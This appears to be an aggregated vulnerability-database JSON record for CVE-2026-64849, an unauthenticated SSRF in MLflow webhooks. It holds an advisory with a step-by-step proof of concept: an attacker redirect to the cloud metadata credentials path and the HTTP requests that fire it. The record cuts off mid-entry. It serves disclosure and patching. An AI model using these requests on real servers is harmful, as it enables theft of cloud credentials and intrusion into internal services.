{"id":"CVE-2026-64849","aliases":["BIT-mlflow-2026-64849","EUVD-2026-60473","GHSA-7gwp-5pfp-969j","PYSEC-2026-3687"],"status":"published","title":"MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.","severity":{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.10017,"percentile":0.9565,"model":"v2026.06.15"},"facts":{"in_kev":true,"known_exploited":true,"public_exploit":true,"fix_available":true},"cwes":["CWE-918"],"published":"2026-08-17T21:16:10Z","modified":"2026-10-28T02:31:00Z","kev":{"date_added":"2026-08-19","due_date":"2026-09-02","required_action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","known_ransomware_use":"Unknown"},"exploitation":[{"source":"euvd","since":"2026-08-19"},{"source":"kev","since":"2026-08-19"}],"exploits":[{"source":"pocgithub","id":"codeb0ssx/CVE-2026-64849-PoC","title":"codeb0ssx/CVE-2026-64849-PoC","date":"2026-08-18","url":"https://github.com/codeb0ssx/CVE-2026-64849-PoC"},{"source":"pocgithub","id":"BiuTrap/CVE-2026-64849","title":"BiuTrap/CVE-2026-64849","date":"2026-08-19","url":"https://github.com/BiuTrap/CVE-2026-64849"},{"source":"pocgithub","id":"zavisco/CVE-2026-64849.yaml","title":"zavisco/CVE-2026-64849.yaml","date":"2026-08-19","url":"https://github.com/zavisco/CVE-2026-64849.yaml"},{"source":"pocgithub","id":"isaca0315/CVE-2026-64849-poc-lab","title":"isaca0315/CVE-2026-64849-poc-lab","date":"2026-09-06","url":"https://github.com/isaca0315/CVE-2026-64849-poc-lab"},{"source":"pocgithub","id":"maxprog-svg/CVE-2026-64849","title":"maxprog-svg/CVE-2026-64849","date":"2026-10-25","url":"https://github.com/maxprog-svg/CVE-2026-64849"},{"source":"pocgithub","id":"federiconbaez/cortex9-mlflow-webhook-dns-rebinding-toctou-model","title":"federiconbaez/cortex9-mlflow-webhook-dns-rebinding-toctou-model","date":"2026-11-09","url":"https://github.com/federiconbaez/cortex9-mlflow-webhook-dns-rebinding-toctou-model"},{"source":"nuclei","id":"CVE-2026-64849","title":"MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-64849.yaml"}],"fixes":[{"ecosystem":"PyPI","package":"mlflow","fixed_in":["3.15.0"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"mlflow","fixed_in":["3.15.0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"mlflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.15.0"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"mlflow","ranges":[{"type":"SEMVER","events":[{"introduced":"3.3.0"},{"fixed":"3.15.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"mlflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.15.0"}]}],"versions":["3.10.0","3.10.0rc0","3.10.1","3.11.0","3.11.0rc0","3.11.0rc1","3.11.1","3.12.0","3.12.0rc0","3.13.0","3.13.0rc0","3.14.0","3.3.0","3.3.1","3.3.2","3.4.0","3.4.0rc0","3.5.0","3.5.0rc0","3.5.1","3.6.0","3.6.0rc0","3.7.0","3.7.0rc0","3.8.0","3.8.0rc0","3.8.1","3.9.0","3.9.0rc0"]},{"source":"osv","ecosystem":"PyPI","package":"mlflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.15.0"}]}],"versions":["0.0.1","0.1.0","0.2.0","0.2.1","0.3.0","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.6.0","0.7.0","0.8.0","0.8.1","0.8.2","0.9.0","0.9.0.1","0.9.1","1.0.0","1.1.0","1.1.1.dev0","1.10.0","1.11.0","1.12.0","1.12.1","1.13","1.13.1","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.18.0","1.19.0","1.2.0","1.20.0","1.20.1","1.20.2","1.21.0","1.22.0","1.23.0","1.23.1","1.24.0","1.25.0","1.25.1","1.26.0","1.26.1","1.27.0","1.28.0","1.29.0","1.3.0","1.30.0","1.30.1","1.4.0","1.5.0","1.6.0","1.7.0","1.7.1","1.7.2","1.8.0","1.9.0","1.9.1","2.0.0","2.0.0rc0","2.0.1","2.1.0","2.1.1","2.10.0","2.10.1","2.10.2","2.11.0","2.11.1","2.11.2","2.11.3","2.11.4","2.12.0","2.12.1","2.12.2","2.13.0","2.13.1","2.13.2","2.14.0","2.14.0rc0","2.14.1","2.14.2","2.14.2.dev0","2.14.3","2.15.0","2.15.0rc0","2.15.1","2.16.0","2.16.1","2.16.2","2.17.0","2.17.0rc0","2.17.1","2.17.2","2.18.0","2.18.0rc0","2.19.0","2.19.0rc0","2.2.0","2.2.1","2.2.2","2.20.0","2.20.0rc0","2.20.1","2.20.2","2.20.3","2.20.4","2.21.0","2.21.0rc0","2.21.1","2.21.2","2.21.3","2.22.0","2.22.0rc0","2.22.1","2.22.2","2.22.3","2.22.4","2.22.5","2.3.0","2.3.1","2.3.2","2.4.0","2.4.1","2.4.2","2.5.0","2.6.0","2.7.0","2.7.1","2.8.0","2.8.1","2.9.0","2.9.1","2.9.2","3.0.0","3.0.0rc0","3.0.0rc1","3.0.0rc2","3.0.0rc3","3.0.1","3.1.0","3.1.0rc0","3.1.1","3.1.2","3.1.3","3.1.4","3.10.0","3.10.0rc0","3.10.1","3.11.0","3.11.0rc0","3.11.0rc1","3.11.1","3.12.0","3.12.0rc0","3.13.0","3.13.0rc0","3.14.0","3.2.0","3.2.0rc0","3.3.0","3.3.0rc0","3.3.1","3.3.2","3.4.0","3.4.0rc0","3.5.0","3.5.0rc0","3.5.1","3.6.0","3.6.0rc0","3.7.0","3.7.0rc0","3.8.0","3.8.0rc0","3.8.1","3.9.0","3.9.0rc0"]}],"products":[{"vendor":"lfprojects","product":"mlflow"},{"vendor":"mlflow","product":"mlflow"}],"references":[{"url":"https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/mlflow/mlflow/issues/24179","tags":["x_refsource_MISC","Exploit","Issue Tracking","Mitigation","evidence","report","web"]},{"url":"https://github.com/mlflow/mlflow/pull/24258","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/mlflow/mlflow/releases/tag/v3.15.0","tags":["x_refsource_MISC","Release Notes","article","web"]},{"url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-64849","tags":["government-resource","US Government Resource","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64849","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-7gwp-5pfp-969j","tags":["advisory"]},{"url":"https://github.com/mlflow/mlflow","tags":["package"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2026-3687.yaml","tags":["web"]},{"url":"https://pypi.org/project/mlflow","tags":["web","package"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/64xxx/CVE-2026-64849.json","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-64849","title":"MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.","status":"published","published":"2026-08-17T21:16:10.612Z","modified":"2026-10-02T18:22:19.974Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:19:58.214427Z"}],"euvd":[{"id":"EUVD-2026-60473","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.","status":"published","published":"2026-08-17T21:16:10Z","modified":"2026-10-02T18:22:19Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"exploited_since":"2026-08-19","updated_at":"2026-11-02T17:27:42.349288Z"}],"ghsa":[{"id":"GHSA-7gwp-5pfp-969j","title":"MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)","description":"### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False\n    for addr_info in socket.getaddrinfo(hostname, None):\n        ip = ipaddress.ip_address(addr_info[4][0])\n        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning\n    ...\ndef _send_webhook_request(webhook, payload, event, session):\n    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only\n    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n    # no allow_redirects=False  -\u003e 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n    nginx:  location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 — negative control (proves the guard is active; the naive internal URL is rejected):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 400 {\"message\":\"Invalid webhook URL scheme: 'http'. Allowed schemes are: https.\"}\n    (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\u003cimg width=\"1154\" height=\"437\" alt=\"image\" src=\"https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019\" /\u003e\n\n\nStep 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 200 {\"webhook\":{\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\", ... ,\"status\":\"ACTIVE\"}}\n\n\u003cimg width=\"1394\" height=\"520\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d\" /\u003e\n\n\nStep 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n    POST /api/2.0/mlflow/webhooks/\u003cWEBHOOK_ID\u003e/test HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n    -\u003e 200 {\"result\":{\"success\":true,\"response_status\":200,\n            \"response_body\":\"\u003ccontents of http://169.254.169.254/latest/meta-data/... fetched by the server\u003e\"}}\n\n\u003cimg width=\"1399\" height=\"453\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc\" /\u003e\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n    \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nSince I don't have a cloud deployment, I placed \"my secret data\" in the same location.\n\n\u003cimg width=\"730\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c\" /\u003e\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n  maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:\n\nFollow-up hardening (2026-09): four IPv6-transition bypasses of this fix were independently reported and fixed in https://github.com/mlflow/mlflow/pull/25568, released in MLflow 3.16.0. Thanks to DhiyaneshGeek and neo-ai-engineer (GHSA-7646-8p3r-42ch), kta1kri (GHSA-m56c-jhmp-2mx2), tonghuaroot (GHSA-j9pw-7jr2-x46w), and eeegoloauq (GHSA-3vv4-6hm9-pf24) for reporting.  The original is_global classifier did not decode IPv6 addresses embedding an IPv4 address, so 64:ff9b::\u003cip\u003e (NAT64) and ::ffff:100.64.0.0/10 (IPv4-mapped CGNAT) could pass the guard. The SSRF guard now normalizes IPv4-mapped, 6to4, and NAT64 addresses before classification. Deployments on IPv6/NAT64 networks should upgrade to MLflow 3.16.0 or later.","status":"published","published":"2026-08-17T21:58:51Z","modified":"2026-10-02T18:21:52Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:41:24.739884Z"}],"kev":[{"id":"CVE-2026-64849","title":"MLflow Server-Side Request Forgery Vulnerability","description":"MLflow contains a server-side request forgery vulnerability that can allow attackers to reach internal or cloud metadata services and receive response_status and response_body.","cwes":["CWE-918"],"kev":{"date_added":"2026-08-19","due_date":"2026-09-02","required_action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","known_ransomware_use":"Unknown"},"updated_at":"2026-11-02T17:00:15.999436Z"}],"nvd":[{"id":"CVE-2026-64849","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.","status":"published","published":"2026-08-17T22:17:23.58Z","modified":"2026-10-26T13:10:00.14Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:38.647684Z"}],"osv":[{"id":"CVE-2026-64849","title":"MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.","status":"published","published":"2026-08-17T21:16:10.612Z","modified":"2026-10-28T02:31:00.050462209Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:14.096824Z"},{"id":"GHSA-7gwp-5pfp-969j","title":"MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)","description":"### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False\n    for addr_info in socket.getaddrinfo(hostname, None):\n        ip = ipaddress.ip_address(addr_info[4][0])\n        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning\n    ...\ndef _send_webhook_request(webhook, payload, event, session):\n    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only\n    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n    # no allow_redirects=False  -\u003e 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n    nginx:  location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 — negative control (proves the guard is active; the naive internal URL is rejected):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 400 {\"message\":\"Invalid webhook URL scheme: 'http'. Allowed schemes are: https.\"}\n    (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\u003cimg width=\"1154\" height=\"437\" alt=\"image\" src=\"https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019\" /\u003e\n\n\nStep 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 200 {\"webhook\":{\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\", ... ,\"status\":\"ACTIVE\"}}\n\n\u003cimg width=\"1394\" height=\"520\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d\" /\u003e\n\n\nStep 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n    POST /api/2.0/mlflow/webhooks/\u003cWEBHOOK_ID\u003e/test HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n    -\u003e 200 {\"result\":{\"success\":true,\"response_status\":200,\n            \"response_body\":\"\u003ccontents of http://169.254.169.254/latest/meta-data/... fetched by the server\u003e\"}}\n\n\u003cimg width=\"1399\" height=\"453\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc\" /\u003e\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n    \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nSince I don't have a cloud deployment, I placed \"my secret data\" in the same location.\n\n\u003cimg width=\"730\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c\" /\u003e\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n  maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:\n\nFollow-up hardening (2026-09): four IPv6-transition bypasses of this fix were independently reported and fixed in https://github.com/mlflow/mlflow/pull/25568, released in MLflow 3.16.0. Thanks to DhiyaneshGeek and neo-ai-engineer (GHSA-7646-8p3r-42ch), kta1kri (GHSA-m56c-jhmp-2mx2), tonghuaroot (GHSA-j9pw-7jr2-x46w), and eeegoloauq (GHSA-3vv4-6hm9-pf24) for reporting.  The original is_global classifier did not decode IPv6 addresses embedding an IPv4 address, so 64:ff9b::\u003cip\u003e (NAT64) and ::ffff:100.64.0.0/10 (IPv4-mapped CGNAT) could pass the guard. The SSRF guard now normalizes IPv4-mapped, 6to4, and NAT64 addresses before classification. Deployments on IPv6/NAT64 networks should upgrade to MLflow 3.16.0 or later.","status":"published","published":"2026-08-17T21:58:51Z","modified":"2026-10-02T18:30:39.856988982Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:41.002603Z"},{"id":"PYSEC-2026-3687","title":"MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)","description":"### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite 